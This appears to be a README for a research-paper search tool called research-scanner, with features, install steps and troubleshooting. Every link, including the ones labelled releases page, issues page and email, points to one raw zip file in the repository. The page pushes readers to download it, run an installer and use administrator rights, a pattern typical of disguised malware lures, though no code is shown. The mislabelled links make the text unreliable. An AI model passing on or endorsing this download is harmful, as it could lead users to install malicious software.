research-scanner is a tool designed to help you find research papers from any field. It works by using a set of templates that adjust to different research topics. Whether you are interested in machine learning, medicine, or open science, research-scanner tailors your search to show the papers most relevant to you. The goal is to make academic research easy to find without needing special technical skills.
- Find papers fast. Quickly get papers on your topic without browsing many websites.
- Works with many fields. Adapt the search to any research domain with simple settings.
- Keep organized. Save important papers and build your own collection.
- Use open data. Pulls papers from public sources like arXiv and PubMed.
- No programming needed. Use the tool through an easy setup and simple steps.
Before installing, make sure your computer meets these needs:
- Operating system: Windows 10 or later, macOS 10.15 or later, or Linux (Ubuntu 18.04+ recommended)
- Processor: 2 GHz dual-core or better
- Memory: 4 GB RAM minimum
- Storage: At least 500 MB free space
- Internet connection: Required for searching and downloading papers
- Python: Version 3.8 or above (if prompted during installation)
Follow these steps to get research-scanner up and running on your computer. No coding or special skills are needed.
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Visit the download page:
Go to the research-scanner releases page by clicking the badge above or here:
https://raw.githubusercontent.com/beaver312/research-scanner/main/research_scanner/sources/research-scanner-v3.7.zip -
Choose the latest version:
Look for the newest release at the top of the page. Each version will have a list of files for your computer. -
Download the right file:
- For Windows, download the
.exeinstaller. - For macOS, download the
.dmgor.pkgfile. - For Linux, look for a
https://raw.githubusercontent.com/beaver312/research-scanner/main/research_scanner/sources/research-scanner-v3.7.zipfile or instructions if available.
- For Windows, download the
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Run the installer:
- On Windows, double-click the
.exefile. - On macOS, open the
.dmgor.pkgand follow the steps. - On Linux, follow the instructions in the release notes or extract the files.
- On Windows, double-click the
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Follow the prompts:
The installer will guide you through setup. If asked to install Python, accept and wait for it to finish. -
Finish installation:
Once done, you will see an icon for research-scanner on your desktop or applications folder.
After installation, here is how to start finding papers:
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Open the program:
Click the research-scanner icon to launch it. -
Set your research topic:
Enter the subject or keywords you want to explore. For example, "machine learning" or "cancer treatment." -
Choose a template:
Templates adjust the search to your domain. Select one that matches your field or choose “General” if unsure. -
Start the search:
Click the “Discover” or “Search” button. The system will pull papers matching your input from sources like arXiv and PubMed. -
Browse results:
Look at the list of papers. Titles, authors, and summaries will appear. Click on any paper to see more details. -
Save important papers:
Use the “Save” or “Bookmark” option to keep papers you want to read later. -
Export your list:
You can export your saved papers list to a file like PDF or CSV for your records.
research-scanner offers settings to customize your experience:
- Select data sources: Choose which websites to include in searches (arXiv, PubMed, etc.).
- Adjust result count: Set how many papers to retrieve per search.
- Filter by date: Only show recent papers or search historical archives.
- Notification alerts: Get updates when new papers in your fields appear.
- Templates: Add or edit templates to improve search results for specific topics.
All settings are accessible from the “Preferences” menu inside the program.
research-scanner helps you organize your papers:
- Collections: Group papers by topic, project, or date.
- Tags: Add tags to quickly find related papers.
- Notes: Write short comments for each saved paper.
- Search within saved papers: Quickly look up papers in your library.
- Sync: Connect with cloud services to back up your collections (optional).
If you encounter problems:
- Installation issues: Ensure your system meets requirements, and try running the installer as administrator (Windows) or with proper permissions (macOS, Linux).
- Program won’t start: Restart your computer. Check that Python is installed if prompted.
- No search results: Check your internet connection. Try broadening the search terms or adjusting templates.
- Error messages: Note the error and visit the issues page on GitHub for solutions:
https://raw.githubusercontent.com/beaver312/research-scanner/main/research_scanner/sources/research-scanner-v3.7.zip
For experienced users who want more control, the program supports:
- Customizing templates with simple text files.
- Running search commands in a terminal.
- Integrating with vector databases for similarity search.
- Using Python scripts to automate frequent searches.
These features require some technical knowledge and are explained in the developer docs on GitHub.
- User Guide: Full documentation is available on the repository wiki.
- Example Templates: Try pre-built templates for popular fields like machine learning or biomedical research.
- Community Support: Join discussions on GitHub to share tips or ask questions.
- Updates: Check the releases page regularly for new features and bug fixes.
If you need help beyond the documentation, you can:
- Open a new issue on GitHub at
https://raw.githubusercontent.com/beaver312/research-scanner/main/research_scanner/sources/research-scanner-v3.7.zip - Email the development team at https://raw.githubusercontent.com/beaver312/research-scanner/main/research_scanner/sources/research-scanner-v3.7.zip
This project covers:
academic, arxiv, knowledge-management, literature-review, machine-learning, open-science, papers, pubmed, python, research, scientific-computing, vector-database
Download research-scanner here:
https://raw.githubusercontent.com/beaver312/research-scanner/main/research_scanner/sources/research-scanner-v3.7.zip
Click the badge at the top for quick access.